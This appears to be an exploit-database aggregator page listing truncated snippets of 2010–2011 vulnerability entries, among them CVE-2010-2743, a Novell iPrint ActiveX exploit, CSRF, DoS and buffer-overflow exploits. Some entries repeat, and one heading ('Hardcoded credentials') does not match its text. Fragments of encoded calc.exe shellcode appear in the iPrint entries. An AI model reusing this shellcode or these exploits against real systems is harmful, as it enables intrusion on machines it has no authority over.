Critical Bug Found in Opera Browser

There is a critical vulnerability in the Opera browser that could be used by an attacker to execute arbitrary code on vulnerable machines. The bug affects the latest version of Opera running on Windows 7, as well as Windows XP SP3. The vulnerability surfaced Friday and it has been confirmed by...

CVE-2010-2743

The kernel-mode drivers in Microsoft Windows XP SP3 do not properly perform indexing of a function-pointer table during the loading of keyboard layouts from disk, which allows local users to gain privileges via a crafted application, as demonstrated in the wild in July 2010 by the Stuxnet worm, a...

Hardcoded credentials

The kernel-mode drivers in Microsoft Windows XP SP3 do not properly perform indexing of a function-pointer table during the loading of keyboard layouts from disk, which allows local users to gain privileges via a crafted application, as demonstrated in the wild in July 2010 by the Stuxnet worm, a...

CVE-2010-2743

The CVE-2010-2743 issue affects Windows XP SP3 kernel-mode components, specifically the Win32k NtUserLoadKeyboardLayoutEx path, where indexing of a function-pointer table during loading of keyboard layouts from disk allows a local user to escalate privileges. The underlying cause is improper hand...

CVE-2010-2743

The kernel-mode drivers in Microsoft Windows XP SP3 do not properly perform indexing of a function-pointer table during the loading of keyboard layouts from disk, which allows local users to gain privileges via a crafted application, as demonstrated in the wild in July 2010 by the Stuxnet worm, a...

Heap overflow

Heap-based buffer overflow in the CDrawPoly::Serialize function in fxscover.exe in Microsoft Windows Fax Services Cover Page Editor 5.2 r2 in Windows XP Professional SP3, Server 2003 R2 Enterprise Edition SP2, and Windows 7 Professional allows remote attackers to execute arbitrary code via a long...

Novell iPrint 5.52 - ActiveX GetDriverSettings() Command Execution

Novell iPrint 5.52 - ActiveX GetDriverSettings Command Execution // Calc.exe shellcode = unescape'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Novell iPrint 5.52 - ActiveX 'GetDriverSettings()' Command Execution

// Calc.exe shellcode = unescape'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+...

Google Chrome v8.0.552.237 address overflow DoS

Exploit for windows platform in category dos / poc Title: Google Chrome v8.0.552.237 address overflow DoS CVE-ID: OSVDB-ID: Author: Vuk Ivanovic Published: 2011-01-17 Verified: yes Google Chrome v8.0.552.237 address overflow DoS Tested on: Windows XP, SP2 EN, Windows 7 x64 Date tested: 01/16/2011...

N-13 News 3.4 Remote Admin Add CSRF Exploit

Exploit for php platform in category web applications Title: N-13 News 3.4 Remote Admin Add CSRF Exploit Author : anT!-Tr0J4n Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Greetz : Dev-PoinT.com ; hack-book.com // GlaDiatOr ; Coffin Of Evil ;The Sword; Cyber-Err0r ; R3d-D3v1L special...

Kingsoft Antivirus "KisKrnl.sys"驱动程序拒绝服务漏洞

BUGTRAQ ID: 45821 金山毒霸是中国广泛使用反病毒程序。 金山毒霸的"KisKrnl.sys"驱动程序在实现存在安全漏洞，本地攻击者可利用词漏洞使应用程序崩溃造成拒绝服务 Kingsoft Corp Kingsoft Antivirus 2011.1.13 89 厂商补丁： Kingsoft Corp ------------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.kingsoft.com/ MJ0011 （[email protected]）提供了如下测试方法： asm mov edx ...

Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit(3 lines of code)

Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys = 2011.1.13.89 Local Kernel Mode D.O.S Exploit Date: 2011-1-16 Author: MJ0011 Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys =2011.1.13.89 Tested on: Windows XP SP3 DETAILS: KisKrnl.sys hook the kernel function KiFastCallEntry , but is not...

Novell iPrint 5.52 ActiveX GetDriverSettings() Exploit

// Calc.exe shellcode = unescape'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+...

N-13 News 3.4 Cross Site Request Forgery

======================================================== N-13 News 3.4 Remote Admin Add CSRF Exploit ======================================================== Title: N-13 News 3.4 Remote Admin Add CSRF Exploit Author : anT!-Tr0J4n Email : D3v-PoinTathotmaild0tcom & C1EHatHotmaild0tcom Greetz :...

ALZip 8.12.0.3 Buffer Overflow

+Exploit Title: Exploit Buffer Overflow AlZipSEH +Date: 01\19\2010 +Author: C4SS!0 G0M3S +Software Link: http://www.altools.com/al/downloads/alzip/ALZip812.exe +Version: 8.12.0.3 +Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN +CVE: N/A Note:Exploit for the work you have to run program in DOS C: ...

Google Chrome 8.0.552.237 - address Overflow Denial of Service

Title: Google Chrome v8.0.552.237 address overflow DoS CVE-ID: OSVDB-ID: Author: Vuk Ivanovic Published: 2011-01-17 Verified: yes Google Chrome v8.0.552.237 address overflow DoS Tested on: Windows XP, SP2 EN, Windows 7 x64 Date tested: 01/16/2011 Discovered by: Vuk Ivanovicmusashi42 function mul3...

Google Chrome 8.0.552.237 Denial Of Service

Title: Google Chrome v8.0.552.237 address overflow DoS CVE-ID: OSVDB-ID: Author: Vuk Ivanovic Published: 2011-01-17 Verified: yes Google Chrome v8.0.552.237 address overflow DoS Tested on: Windows XP, SP2 EN, Windows 7 x64 Date tested: 01/16/2011 Discovered by: Vuk Ivanovicmusashi42 function mul3...

A-PDF All to MP3 Converter 2.0.0 - '.wav' Local Buffer Overflow

Exploit Title: A-PDF All to MP3 Converter v.2.0.0 stack based buffer overflow Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: = 2.0.0 Tested on: Win XP SP3 French Date: 17/01/2011 Author: h1ch4m Email: [email protected] Home: http://Net-Effects.blogspot.com triggering details:...

Microsoft Active Directory Denial of Service Vulnerability (953235)

This host is missing a critical security update according to Microsoft Bulletin MS08-035. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

A-PDF All to MP3 Converter 2.0.0 - .wav Local Buffer Overflow

A-PDF All to MP3 Converter 2.0.0 - .wav Local Buffer Overflow Exploit Title: A-PDF All to MP3 Converter v.2.0.0 stack based buffer overflow Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: = 2.0.0 Tested on: Win XP SP3 French Date: 17/01/2011 Author: h1ch4m Email: h1ch4m@live....